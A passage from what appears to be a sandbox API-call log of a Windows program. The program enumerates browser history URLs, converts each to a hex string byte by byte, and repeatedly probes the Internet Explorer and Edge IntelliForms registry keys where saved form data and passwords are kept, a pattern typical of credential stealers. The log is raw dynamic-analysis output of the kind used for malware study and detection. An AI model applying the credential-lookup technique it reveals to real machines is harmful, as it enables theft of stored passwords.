Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.588] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.588] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.588] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.588] LocalFree (hMem=0x750c70) returned 0x0 [0053.588] CoTaskMemFree (pv=0x748a90) [0053.588] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.588] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/_yHpKvhu.mkv", lpSrch="?") returned 0x0 [0053.588] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/_yHpKvhu.mkv") returned 54 [0053.588] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DC") returned 2 [0053.588] lstrlenA (lpString="") returned 0 [0053.589] lstrlenA (lpString="DC") returned 2 [0053.589] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760360 [0053.589] lstrcpyA (in: lpString1=0x760360, lpString2="" | out: lpString1="") returned="" [0053.589] lstrcatA (in: lpString1="", lpString2="DC" | out: lpString1="DC") returned="DC" [0053.589] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C0") returned 2 [0053.589] lstrlenA (lpString="DC") returned 2 [0053.589] lstrlenA (lpString="C0") returned 2 [0053.589] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7603f0 [0053.589] lstrcpyA (in: lpString1=0x7603f0, lpString2="DC" | out: lpString1="DC") returned="DC" [0053.589] lstrcatA (in: lpString1="DC", lpString2="C0" | out: lpString1="DCC0") returned="DCC0" [0053.589] LocalFree (hMem=0x760360) returned 0x0 [0053.589] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A3") returned 2 [0053.589] lstrlenA (lpString="DCC0") returned 4 [0053.589] lstrlenA (lpString="A3") returned 2 [0053.589] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760360 [0053.589] lstrcpyA (in: lpString1=0x760360, lpString2="DCC0" | out: lpString1="DCC0") returned="DCC0" [0053.589] lstrcatA (in: lpString1="DCC0", lpString2="A3" | out: lpString1="DCC0A3") returned="DCC0A3" [0053.589] LocalFree (hMem=0x7603f0) returned 0x0 [0053.589] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="69") returned 2 [0053.589] lstrlenA (lpString="DCC0A3") returned 6 [0053.589] lstrlenA (lpString="69") returned 2 [0053.589] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.589] lstrcpyA (in: lpString1=0x7633b8, lpString2="DCC0A3" | out: lpString1="DCC0A3") returned="DCC0A3" [0053.589] lstrcatA (in: lpString1="DCC0A3", lpString2="69" | out: lpString1="DCC0A369") returned="DCC0A369" [0053.589] LocalFree (hMem=0x760360) returned 0x0 [0053.589] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E9") returned 2 [0053.589] lstrlenA (lpString="DCC0A369") returned 8 [0053.589] lstrlenA (lpString="E9") returned 2 [0053.589] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x769e00 [0053.589] lstrcpyA (in: lpString1=0x769e00, lpString2="DCC0A369" | out: lpString1="DCC0A369") returned="DCC0A369" [0053.589] lstrcatA (in: lpString1="DCC0A369", lpString2="E9" | out: lpString1="DCC0A369E9") returned="DCC0A369E9" [0053.589] LocalFree (hMem=0x7633b8) returned 0x0 [0053.589] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AA") returned 2 [0053.589] lstrlenA (lpString="DCC0A369E9") returned 10 [0053.589] lstrlenA (lpString="AA") returned 2 [0053.589] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.589] lstrcpyA (in: lpString1=0x7633b8, lpString2="DCC0A369E9" | out: lpString1="DCC0A369E9") returned="DCC0A369E9" [0053.589] lstrcatA (in: lpString1="DCC0A369E9", lpString2="AA" | out: lpString1="DCC0A369E9AA") returned="DCC0A369E9AA" [0053.589] LocalFree (hMem=0x769e00) returned 0x0 [0053.589] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2C") returned 2 [0053.589] lstrlenA (lpString="DCC0A369E9AA") returned 12 [0053.589] lstrlenA (lpString="2C") returned 2 [0053.589] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x769e00 [0053.589] lstrcpyA (in: lpString1=0x769e00, lpString2="DCC0A369E9AA" | out: lpString1="DCC0A369E9AA") returned="DCC0A369E9AA" [0053.589] lstrcatA (in: lpString1="DCC0A369E9AA", lpString2="2C" | out: lpString1="DCC0A369E9AA2C") returned="DCC0A369E9AA2C" [0053.589] LocalFree (hMem=0x7633b8) returned 0x0 [0053.589] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EF") returned 2 [0053.589] lstrlenA (lpString="DCC0A369E9AA2C") returned 14 [0053.589] lstrlenA (lpString="EF") returned 2 [0053.589] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763518 [0053.589] lstrcpyA (in: lpString1=0x763518, lpString2="DCC0A369E9AA2C" | out: lpString1="DCC0A369E9AA2C") returned="DCC0A369E9AA2C" [0053.589] lstrcatA (in: lpString1="DCC0A369E9AA2C", lpString2="EF" | out: lpString1="DCC0A369E9AA2CEF") returned="DCC0A369E9AA2CEF" [0053.589] LocalFree (hMem=0x769e00) returned 0x0 [0053.589] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8A") returned 2 [0053.589] lstrlenA (lpString="DCC0A369E9AA2CEF") returned 16 [0053.589] lstrlenA (lpString="8A") returned 2 [0053.589] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763478 [0053.589] lstrcpyA (in: lpString1=0x763478, lpString2="DCC0A369E9AA2CEF" | out: lpString1="DCC0A369E9AA2CEF") returned="DCC0A369E9AA2CEF" [0053.589] lstrcatA (in: lpString1="DCC0A369E9AA2CEF", lpString2="8A" | out: lpString1="DCC0A369E9AA2CEF8A") returned="DCC0A369E9AA2CEF8A" [0053.589] LocalFree (hMem=0x763518) returned 0x0 [0053.590] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D3") returned 2 [0053.590] lstrlenA (lpString="DCC0A369E9AA2CEF8A") returned 18 [0053.590] lstrlenA (lpString="D3") returned 2 [0053.590] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.590] lstrcpyA (in: lpString1=0x763518, lpString2="DCC0A369E9AA2CEF8A" | out: lpString1="DCC0A369E9AA2CEF8A") returned="DCC0A369E9AA2CEF8A" [0053.590] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8A", lpString2="D3" | out: lpString1="DCC0A369E9AA2CEF8AD3") returned="DCC0A369E9AA2CEF8AD3" [0053.590] LocalFree (hMem=0x763478) returned 0x0 [0053.590] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DA") returned 2 [0053.590] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3") returned 20 [0053.590] lstrlenA (lpString="DA") returned 2 [0053.590] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763478 [0053.590] lstrcpyA (in: lpString1=0x763478, lpString2="DCC0A369E9AA2CEF8AD3" | out: lpString1="DCC0A369E9AA2CEF8AD3") returned="DCC0A369E9AA2CEF8AD3" [0053.590] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3", lpString2="DA" | out: lpString1="DCC0A369E9AA2CEF8AD3DA") returned="DCC0A369E9AA2CEF8AD3DA" [0053.590] LocalFree (hMem=0x763518) returned 0x0 [0053.590] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="52") returned 2 [0053.590] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3DA") returned 22 [0053.590] lstrlenA (lpString="52") returned 2 [0053.590] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.590] lstrcpyA (in: lpString1=0x758a18, lpString2="DCC0A369E9AA2CEF8AD3DA" | out: lpString1="DCC0A369E9AA2CEF8AD3DA") returned="DCC0A369E9AA2CEF8AD3DA" [0053.590] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3DA", lpString2="52" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52") returned="DCC0A369E9AA2CEF8AD3DA52" [0053.590] LocalFree (hMem=0x763478) returned 0x0 [0053.590] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="36") returned 2 [0053.590] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3DA52") returned 24 [0053.590] lstrlenA (lpString="36") returned 2 [0053.590] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.590] lstrcpyA (in: lpString1=0x758820, lpString2="DCC0A369E9AA2CEF8AD3DA52" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52") returned="DCC0A369E9AA2CEF8AD3DA52" [0053.590] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3DA52", lpString2="36" | out: lpString1="DCC0A369E9AA2CEF8AD3DA5236") returned="DCC0A369E9AA2CEF8AD3DA5236" [0053.590] LocalFree (hMem=0x758a18) returned 0x0 [0053.590] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="50") returned 2 [0053.590] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3DA5236") returned 26 [0053.590] lstrlenA (lpString="50") returned 2 [0053.590] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.590] lstrcpyA (in: lpString1=0x758a18, lpString2="DCC0A369E9AA2CEF8AD3DA5236" | out: lpString1="DCC0A369E9AA2CEF8AD3DA5236") returned="DCC0A369E9AA2CEF8AD3DA5236" [0053.590] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3DA5236", lpString2="50" | out: lpString1="DCC0A369E9AA2CEF8AD3DA523650") returned="DCC0A369E9AA2CEF8AD3DA523650" [0053.590] LocalFree (hMem=0x758820) returned 0x0 [0053.590] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="49") returned 2 [0053.590] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3DA523650") returned 28 [0053.590] lstrlenA (lpString="49") returned 2 [0053.590] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.590] lstrcpyA (in: lpString1=0x758820, lpString2="DCC0A369E9AA2CEF8AD3DA523650" | out: lpString1="DCC0A369E9AA2CEF8AD3DA523650") returned="DCC0A369E9AA2CEF8AD3DA523650" [0053.590] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3DA523650", lpString2="49" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049") returned="DCC0A369E9AA2CEF8AD3DA52365049" [0053.590] LocalFree (hMem=0x758a18) returned 0x0 [0053.590] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="68") returned 2 [0053.590] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3DA52365049") returned 30 [0053.590] lstrlenA (lpString="68") returned 2 [0053.590] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754b90 [0053.590] lstrcpyA (in: lpString1=0x754b90, lpString2="DCC0A369E9AA2CEF8AD3DA52365049" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049") returned="DCC0A369E9AA2CEF8AD3DA52365049" [0053.590] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3DA52365049", lpString2="68" | out: lpString1="DCC0A369E9AA2CEF8AD3DA5236504968") returned="DCC0A369E9AA2CEF8AD3DA5236504968" [0053.590] LocalFree (hMem=0x758820) returned 0x0 [0053.590] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4C") returned 2 [0053.590] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3DA5236504968") returned 32 [0053.590] lstrlenA (lpString="4C") returned 2 [0053.590] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.590] lstrcpyA (in: lpString1=0x754cf0, lpString2="DCC0A369E9AA2CEF8AD3DA5236504968" | out: lpString1="DCC0A369E9AA2CEF8AD3DA5236504968") returned="DCC0A369E9AA2CEF8AD3DA5236504968" [0053.590] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3DA5236504968", lpString2="4C" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C") returned="DCC0A369E9AA2CEF8AD3DA52365049684C" [0053.590] LocalFree (hMem=0x754b90) returned 0x0 [0053.590] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="73") returned 2 [0053.590] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3DA52365049684C") returned 34 [0053.590] lstrlenA (lpString="73") returned 2 [0053.591] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754b90 [0053.591] lstrcpyA (in: lpString1=0x754b90, lpString2="DCC0A369E9AA2CEF8AD3DA52365049684C" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C") returned="DCC0A369E9AA2CEF8AD3DA52365049684C" [0053.591] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C", lpString2="73" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C73") returned="DCC0A369E9AA2CEF8AD3DA52365049684C73" [0053.591] LocalFree (hMem=0x754cf0) returned 0x0 [0053.591] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="05") returned 2 [0053.591] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3DA52365049684C73") returned 36 [0053.591] lstrlenA (lpString="05") returned 2 [0053.591] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.591] lstrcpyA (in: lpString1=0x754cf0, lpString2="DCC0A369E9AA2CEF8AD3DA52365049684C73" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C73") returned="DCC0A369E9AA2CEF8AD3DA52365049684C73" [0053.591] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C73", lpString2="05" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C7305") returned="DCC0A369E9AA2CEF8AD3DA52365049684C7305" [0053.591] LocalFree (hMem=0x754b90) returned 0x0 [0053.591] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6C") returned 2 [0053.591] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3DA52365049684C7305") returned 38 [0053.591] lstrlenA (lpString="6C") returned 2 [0053.591] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750c70 [0053.591] lstrcpyA (in: lpString1=0x750c70, lpString2="DCC0A369E9AA2CEF8AD3DA52365049684C7305" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C7305") returned="DCC0A369E9AA2CEF8AD3DA52365049684C7305" [0053.591] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C7305", lpString2="6C" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C73056C") returned="DCC0A369E9AA2CEF8AD3DA52365049684C73056C" [0053.591] LocalFree (hMem=0x754cf0) returned 0x0 [0053.591] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="46") returned 2 [0053.591] lstrlenA (lpString="DCC0A369E9AA2CEF8AD3DA52365049684C73056C") returned 40 [0053.591] lstrlenA (lpString="46") returned 2 [0053.591] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.591] lstrcpyA (in: lpString1=0x750bb8, lpString2="DCC0A369E9AA2CEF8AD3DA52365049684C73056C" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C73056C") returned="DCC0A369E9AA2CEF8AD3DA52365049684C73056C" [0053.591] lstrcatA (in: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C73056C", lpString2="46" | out: lpString1="DCC0A369E9AA2CEF8AD3DA52365049684C73056C46") returned="DCC0A369E9AA2CEF8AD3DA52365049684C73056C46" [0053.591] LocalFree (hMem=0x750c70) returned 0x0 [0053.591] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.591] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.591] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.591] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.591] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.591] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.591] LocalFree (hMem=0x750bb8) returned 0x0 [0053.591] CoTaskMemFree (pv=0x762370) [0053.591] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.591] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/j_4Mj.bmp", lpSrch="?") returned 0x0 [0053.592] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/j_4Mj.bmp") returned 85 [0053.592] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="68") returned 2 [0053.592] lstrlenA (lpString="") returned 0 [0053.592] lstrlenA (lpString="68") returned 2 [0053.592] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760360 [0053.592] lstrcpyA (in: lpString1=0x760360, lpString2="" | out: lpString1="") returned="" [0053.592] lstrcatA (in: lpString1="", lpString2="68" | out: lpString1="68") returned="68" [0053.592] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1F") returned 2 [0053.592] lstrlenA (lpString="68") returned 2 [0053.592] lstrlenA (lpString="1F") returned 2 [0053.592] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7603f0 [0053.592] lstrcpyA (in: lpString1=0x7603f0, lpString2="68" | out: lpString1="68") returned="68" [0053.592] lstrcatA (in: lpString1="68", lpString2="1F" | out: lpString1="681F") returned="681F" [0053.592] LocalFree (hMem=0x760360) returned 0x0 [0053.592] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="82") returned 2 [0053.592] lstrlenA (lpString="681F") returned 4 [0053.592] lstrlenA (lpString="82") returned 2 [0053.592] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760360 [0053.592] lstrcpyA (in: lpString1=0x760360, lpString2="681F" | out: lpString1="681F") returned="681F" [0053.592] lstrcatA (in: lpString1="681F", lpString2="82" | out: lpString1="681F82") returned="681F82" [0053.592] LocalFree (hMem=0x7603f0) returned 0x0 [0053.592] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9A") returned 2 [0053.592] lstrlenA (lpString="681F82") returned 6 [0053.592] lstrlenA (lpString="9A") returned 2 [0053.592] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.592] lstrcpyA (in: lpString1=0x7633b8, lpString2="681F82" | out: lpString1="681F82") returned="681F82" [0053.592] lstrcatA (in: lpString1="681F82", lpString2="9A" | out: lpString1="681F829A") returned="681F829A" [0053.592] LocalFree (hMem=0x760360) returned 0x0 [0053.592] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="28") returned 2 [0053.592] lstrlenA (lpString="681F829A") returned 8 [0053.592] lstrlenA (lpString="28") returned 2 [0053.592] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x769e00 [0053.592] lstrcpyA (in: lpString1=0x769e00, lpString2="681F829A" | out: lpString1="681F829A") returned="681F829A" [0053.592] lstrcatA (in: lpString1="681F829A", lpString2="28" | out: lpString1="681F829A28") returned="681F829A28" [0053.592] LocalFree (hMem=0x7633b8) returned 0x0 [0053.592] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A2") returned 2 [0053.592] lstrlenA (lpString="681F829A28") returned 10 [0053.592] lstrlenA (lpString="A2") returned 2 [0053.592] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.592] lstrcpyA (in: lpString1=0x7633b8, lpString2="681F829A28" | out: lpString1="681F829A28") returned="681F829A28" [0053.592] lstrcatA (in: lpString1="681F829A28", lpString2="A2" | out: lpString1="681F829A28A2") returned="681F829A28A2" [0053.592] LocalFree (hMem=0x769e00) returned 0x0 [0053.592] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6B") returned 2 [0053.592] lstrlenA (lpString="681F829A28A2") returned 12 [0053.592] lstrlenA (lpString="6B") returned 2 [0053.592] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x769e00 [0053.592] lstrcpyA (in: lpString1=0x769e00, lpString2="681F829A28A2" | out: lpString1="681F829A28A2") returned="681F829A28A2" [0053.592] lstrcatA (in: lpString1="681F829A28A2", lpString2="6B" | out: lpString1="681F829A28A26B") returned="681F829A28A26B" [0053.592] LocalFree (hMem=0x7633b8) returned 0x0 [0053.592] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B6") returned 2 [0053.592] lstrlenA (lpString="681F829A28A26B") returned 14 [0053.592] lstrlenA (lpString="B6") returned 2 [0053.592] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763478 [0053.592] lstrcpyA (in: lpString1=0x763478, lpString2="681F829A28A26B" | out: lpString1="681F829A28A26B") returned="681F829A28A26B" [0053.592] lstrcatA (in: lpString1="681F829A28A26B", lpString2="B6" | out: lpString1="681F829A28A26BB6") returned="681F829A28A26BB6" [0053.592] LocalFree (hMem=0x769e00) returned 0x0 [0053.592] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FF") returned 2 [0053.592] lstrlenA (lpString="681F829A28A26BB6") returned 16 [0053.592] lstrlenA (lpString="FF") returned 2 [0053.593] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.593] lstrcpyA (in: lpString1=0x763518, lpString2="681F829A28A26BB6" | out: lpString1="681F829A28A26BB6") returned="681F829A28A26BB6" [0053.593] lstrcatA (in: lpString1="681F829A28A26BB6", lpString2="FF" | out: lpString1="681F829A28A26BB6FF") returned="681F829A28A26BB6FF" [0053.593] LocalFree (hMem=0x763478) returned 0x0 [0053.593] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="24") returned 2 [0053.593] lstrlenA (lpString="681F829A28A26BB6FF") returned 18 [0053.593] lstrlenA (lpString="24") returned 2 [0053.593] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763478 [0053.593] lstrcpyA (in: lpString1=0x763478, lpString2="681F829A28A26BB6FF" | out: lpString1="681F829A28A26BB6FF") returned="681F829A28A26BB6FF" [0053.593] lstrcatA (in: lpString1="681F829A28A26BB6FF", lpString2="24" | out: lpString1="681F829A28A26BB6FF24") returned="681F829A28A26BB6FF24" [0053.593] LocalFree (hMem=0x763518) returned 0x0 [0053.593] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="44") returned 2 [0053.593] lstrlenA (lpString="681F829A28A26BB6FF24") returned 20 [0053.593] lstrlenA (lpString="44") returned 2 [0053.593] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.593] lstrcpyA (in: lpString1=0x763518, lpString2="681F829A28A26BB6FF24" | out: lpString1="681F829A28A26BB6FF24") returned="681F829A28A26BB6FF24" [0053.593] lstrcatA (in: lpString1="681F829A28A26BB6FF24", lpString2="44" | out: lpString1="681F829A28A26BB6FF2444") returned="681F829A28A26BB6FF2444" [0053.593] LocalFree (hMem=0x763478) returned 0x0 [0053.593] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="58") returned 2 [0053.593] lstrlenA (lpString="681F829A28A26BB6FF2444") returned 22 [0053.593] lstrlenA (lpString="58") returned 2 [0053.593] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.593] lstrcpyA (in: lpString1=0x758820, lpString2="681F829A28A26BB6FF2444" | out: lpString1="681F829A28A26BB6FF2444") returned="681F829A28A26BB6FF2444" [0053.593] lstrcatA (in: lpString1="681F829A28A26BB6FF2444", lpString2="58" | out: lpString1="681F829A28A26BB6FF244458") returned="681F829A28A26BB6FF244458" [0053.593] LocalFree (hMem=0x763518) returned 0x0 [0053.593] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3E") returned 2 [0053.593] lstrlenA (lpString="681F829A28A26BB6FF244458") returned 24 [0053.593] lstrlenA (lpString="3E") returned 2 [0053.593] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758b68 [0053.593] lstrcpyA (in: lpString1=0x758b68, lpString2="681F829A28A26BB6FF244458" | out: lpString1="681F829A28A26BB6FF244458") returned="681F829A28A26BB6FF244458" [0053.593] lstrcatA (in: lpString1="681F829A28A26BB6FF244458", lpString2="3E" | out: lpString1="681F829A28A26BB6FF2444583E") returned="681F829A28A26BB6FF2444583E" [0053.593] LocalFree (hMem=0x758820) returned 0x0 [0053.593] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5A") returned 2 [0053.593] lstrlenA (lpString="681F829A28A26BB6FF2444583E") returned 26 [0053.593] lstrlenA (lpString="5A") returned 2 [0053.593] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.593] lstrcpyA (in: lpString1=0x758820, lpString2="681F829A28A26BB6FF2444583E" | out: lpString1="681F829A28A26BB6FF2444583E") returned="681F829A28A26BB6FF2444583E" [0053.593] lstrcatA (in: lpString1="681F829A28A26BB6FF2444583E", lpString2="5A" | out: lpString1="681F829A28A26BB6FF2444583E5A") returned="681F829A28A26BB6FF2444583E5A" [0053.593] LocalFree (hMem=0x758b68) returned 0x0 [0053.593] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="79") returned 2 [0053.593] lstrlenA (lpString="681F829A28A26BB6FF2444583E5A") returned 28 [0053.593] lstrlenA (lpString="79") returned 2 [0053.593] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758b68 [0053.593] lstrcpyA (in: lpString1=0x758b68, lpString2="681F829A28A26BB6FF2444583E5A" | out: lpString1="681F829A28A26BB6FF2444583E5A") returned="681F829A28A26BB6FF2444583E5A" [0053.593] lstrcatA (in: lpString1="681F829A28A26BB6FF2444583E5A", lpString2="79" | out: lpString1="681F829A28A26BB6FF2444583E5A79") returned="681F829A28A26BB6FF2444583E5A79" [0053.593] LocalFree (hMem=0x758820) returned 0x0 [0053.593] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="71") returned 2 [0053.593] lstrlenA (lpString="681F829A28A26BB6FF2444583E5A79") returned 30 [0053.593] lstrlenA (lpString="71") returned 2 [0053.593] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754cf0 [0053.593] lstrcpyA (in: lpString1=0x754cf0, lpString2="681F829A28A26BB6FF2444583E5A79" | out: lpString1="681F829A28A26BB6FF2444583E5A79") returned="681F829A28A26BB6FF2444583E5A79" [0053.593] lstrcatA (in: 